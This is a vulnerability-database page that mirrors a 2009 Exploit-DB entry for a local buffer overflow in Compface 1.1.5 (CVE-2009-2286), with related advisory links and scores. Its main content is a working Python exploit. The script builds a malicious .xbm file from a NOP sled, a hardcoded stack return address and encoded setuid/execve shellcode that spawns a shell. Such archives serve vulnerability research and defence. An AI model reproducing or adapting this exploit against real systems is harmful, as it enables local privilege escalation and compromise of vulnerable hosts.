Lucene search
+L

Compface 1.1.5 - '.xbm' Local Buffer Overflow

🗓️ 30 Jul 2009 00:00:00Reported by His0k4Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

Compface 1.1.5 '.xbm' Local Buffer Overflow Exploit for Ubuntu 9.0

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-2286
17 Jun 200900:00
circl
Check Point Advisories
Compface File long declaration Buffer Overflow - Ver2 (CVE-2009-2286)
31 Mar 201400:00
checkpoint_advisories
CVE
CVE-2009-2286
1 Jul 200912:26
cve
Cvelist
CVE-2009-2286
1 Jul 200912:26
cvelist
Debian CVE
CVE-2009-2286
1 Jul 200912:26
debiancve
Exploit DB
Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC)
17 Jun 200900:00
exploitdb
EUVD
EUVD-2009-2282
7 Oct 202500:30
euvd
NVD
CVE-2009-2286
1 Jul 200913:00
nvd
OpenVAS
Mandrake Security Advisory MDVSA-2009:180 (compface)
17 Aug 200900:00
openvas
OpenVAS
Mandrake Security Advisory MDVSA-2009:180 (compface)
17 Aug 200900:00
openvas
Rows per page
#!/usr/bin/python
#[*] Exploit     :      	Compface '.xbm' Local Buffer Overflow Exploit
#[*] Affected	 :		compface 1.1.5
#[*] Tested on   :   		Ubuntu 9.04 (without stack randomization)
#[*] Refer	 :		bid/35863
#[*] Exploit     : 		His0k4

#[*] Use : $compface exploit.xbm out

#setuid/execve shellcode for Linux/x86 by Marco Ivaldi
#[*] x86/alpha_mixed succeeded with size 124 (iteration=1)
shellcode=(
"\x89\xe1\xdb\xd1\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x42\x4a\x42\x37\x50\x58\x50\x31\x49\x4b\x48\x4d\x4d\x50\x42"
"\x4a\x44\x4b\x50\x58\x4d\x49\x51\x42\x42\x48\x46\x4f\x46\x4f"
"\x44\x33\x45\x38\x42\x48\x46\x4f\x42\x42\x42\x49\x42\x4e\x4b"
"\x39\x4d\x33\x51\x42\x50\x53\x4c\x49\x4b\x51\x48\x4d\x4d\x50"
"\x45\x5a\x41\x41")

payload =  "#define noname_width 48\r\n"
payload += "#define noname_height 48\r\n"
payload += "static\r\n"
payload += "\x90"*180
payload += "\x80\xf4\xff\xbf" #$esp+10h
payload += "\x90"*16
payload += shellcode
payload += "\r\n"
payload += "char = {\r\n"

try:
    out_file = open("exploit.xbm","w")
    out_file.write(payload)
    out_file.close()
    print("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-07-30]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jul 2009 00:00Current
7High risk
Vulners AI Score7
CVSS 24.3
EPSS0.03085
34